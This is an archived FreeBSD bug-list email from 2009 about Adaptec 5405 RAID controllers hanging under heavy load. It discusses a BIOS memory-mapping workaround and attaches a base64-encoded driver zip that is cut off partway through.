freebsd-bugs@FreeBSD.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 0033A106566B; Wed, 15 Jul 2009 03:51:30 +0000 (UTC) (envelope-from yuri.gorchakov@point-group.ru) Received: from mail.point-group.ru (point-group.ru [83.172.40.209]) by mx1.freebsd.org (Postfix) with ESMTP id 2F15E8FC13; Wed, 15 Jul 2009 03:49:54 +0000 (UTC) (envelope-from yuri.gorchakov@point-group.ru) Received: from localhost (point-group.ru [83.172.40.209]) by mail.point-group.ru (Mail System) with ESMTP id B22A37EA8713; Wed, 15 Jul 2009 10:49:51 +0700 (NOVST) X-Virus-Scanned: Antivirus and antispam scanner at point-group.ru Received: from alienware.local (docsis-79-136-173-96.tomtelnet.ru [79.136.173.96]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) (Authenticated sender: yuri.gorchakov) by mail.point-group.ru (Mail System) with ESMTPSA id 05F307EA86FA; Wed, 15 Jul 2009 10:49:36 +0700 (NOVST) Message-ID: <4A5D51D0.4010300@point-group.ru> Date: Wed, 15 Jul 2009 10:49:36 +0700 From: Yuri Gorchakov User-Agent: Thunderbird 2.0.0.22 (X11/20090629) MIME-Version: 1.0 To: Aleksandr Stankevic References: <4A5C15F1.1070509@point-group.ru> <17386A8C-D8FE-4E10-98B1-CF5B9A040577@gmail.com> In-Reply-To: <17386A8C-D8FE-4E10-98B1-CF5B9A040577@gmail.com> X-Enigmail-Version: 0.95.7 Content-Type: multipart/mixed; boundary="------------080001050409090109020505" Cc: Michael , "freebsd-bugs@FreeBSD.org" , Gavin Atkinson Subject: Re: kern/135408: [aac] Adaptec 5405 RAID controller hanging under high load +suggested fix X-BeenThere: freebsd-bugs@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Bug reports List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 15 Jul 2009 03:51:31 -0000 This is a multi-part message in MIME format. --------------080001050409090109020505 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi all, yesterday I received a driver which shortly must by available online on Adaptec site and should fix the issue. Here I'm attaching it. I personally have't tried it yet in a production. Aleksandr Stankevic wrote: > On a 16 gb machine that's nothong near a real solution to me. Loosing > 13gb of ram is not what i want. > Also, i've tried using (previously i was using raid10) RAID5 on a test > box, and have run a lot of stress on it ( buildworld -j16, iozone, > bonnie++, backups and etc). It didn't crash on me yet. I'm in process of > moving the box to production to see if it won't crash there. > But even if it works, raid1/raid10 is what i, and imho most people, use, > so we need it fixed anyway. > > On 2009.07.14, at 08:21, Yuri Gorchakov > wrote: > > Hi all, > > yesterday I received a reply from a manager I bought the controller > from. He was emailing with Adaptec technical support in Russia and > suggested couple of things: > as a temporary workaround you can setup your BIOS to disable "Host > system Memory Mapped I/O above 4GB" , but note that not all BIOSes may > support it. Disadvantage of this is that RAM from 3,5 to 4GB will be > unavailable most probably. > Adaptec is now working on a release of 2.2.8-16891 driver which > suppose > to fix the issue. They promise to post it on their web site ASAP. - -- С уважением, Юрий ÐлекÑандрович Горчаков техничеÑкий ÑпециалиÑÑ‚ ÐºÐ¾Ð¼Ð¿Ð°Ð½Ð¸Ñ "iT POiNT" РоÑииÑ, г.ТомÑк ул.Ð Ð°Ð±Ð¾Ñ‡Ð°Ñ 11а, 634050 Email: yuri.gorchakov@point-group.ru info@point-group.ru WWW: http://point-group.ru **** Ð”Ð»Ñ Ð¿ÐµÑ€ÐµÐ´Ð°Ñ‡Ð¸ конфиденциальной информации мне вы можете воÑпользоватьÑÑ ÐºÐ»ÑŽÑ‡Ð¾Ð¼ ÑˆÐ¸Ñ„Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ PGP, Ñкачав его http://point-group.ru/yuri.gorchakov@point-group.ru.pub.asc To send me confidencial information you may use PGP encryption key from http://point-group.ru/yuri.gorchakov@point-group.ru.pub.asc **** -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.12 (FreeBSD) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iEYEARECAAYFAkpdUdAACgkQj73gq1RwjyjoqwCffF6FrzVp67ptb1djNvUWQ/dL +t0An2ARMc45ZraeIpSgrmIowafvGvQD =C/kT -----END PGP SIGNATURE----- --------------080001050409090109020505 Content-Type: application/octet-stream; name="Driver 2.2.8-16891 for FreeBSD.zip" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Driver 2.2.8-16891 for FreeBSD.zip" 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 